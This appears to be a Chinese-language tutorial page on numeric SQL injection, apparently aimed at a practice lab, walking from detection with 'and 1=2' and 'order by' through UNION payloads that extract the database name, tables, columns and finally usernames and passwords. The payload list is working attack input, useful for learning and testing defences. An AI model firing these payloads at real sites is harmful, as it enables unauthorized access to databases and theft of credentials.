玖叶教程网

前端编程开发入门

sql注入之数字注入(sql注入数字型注入技术的一般步骤)



若是数字型注入,注入 ?id=1 and 1=2 时的SQL语句为:


select * from users where id=1 and 1=2



因为 select * from users where id=1 是正确的语句 ,and 后面的 1=2 是错误的语句,所以select * from users where id=1 and 1=2 会有异常或着网页没有回显(当一个错误的语句和一个正确的语句用and连接符连接时,整体就会是错误的 )
判断注入类型:根据返回结果进一步判断注入类型。


例如,输入id=1 and 1=1,如果返回结果与预期不符,说明存在注入漏洞。


如果 id=1 and 1=1 返回正常


如果输入id=1 and 1=2报错,说明存在数字型注入;


如果输入id=1 order by 3报错,而输入id=1 order by 2正确,说明存在注入漏洞。


获取数据库信息:利用注入点进行数据库信息获取,如数据库名称、数据表名称、列名等。


通过输入id=-1 union select 1,database()来获取当前数据库名称。


获取表信息:利用注入点获取数据库中的表信息,如表名、列名等。


通过输入id=-1 union select 1,table_name from information_schema.tables where table_schema='your_database'来获取表名。
获取列信息:利用注入点获取表中的列信息,如列名、数据类型等。


通过输入id=-1 union select 1,column_name from information_schema.columns where table_name='your_table'来获取列名。
爆显示位:通过输入特定的SQL语句,尝试爆出数据库中的显示位。可以尝试输入id=-1 union select 1,2来爆出显示位。
控制查询:利用注入点控制查询语句的执行,例如通过输入id=1 and 1=2来控制查询语句的执行。
需要注意的是,数字型注入通常发生在应用程序中对用户输入的处理不当的情况下,因此应该加强对用户输入的处理和验证,避免出现注入漏洞


操作


?id=1 and 1=1


?id=1 order by 3 判断字段


?id=-1 union select 1,2,3 判断回显


?id=-1 union select 1,database(),version() 爆库


?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 爆表


?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 爆列


?id=-1 union select 1,2,group_concat(username ,id , password) from users 爆用户

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言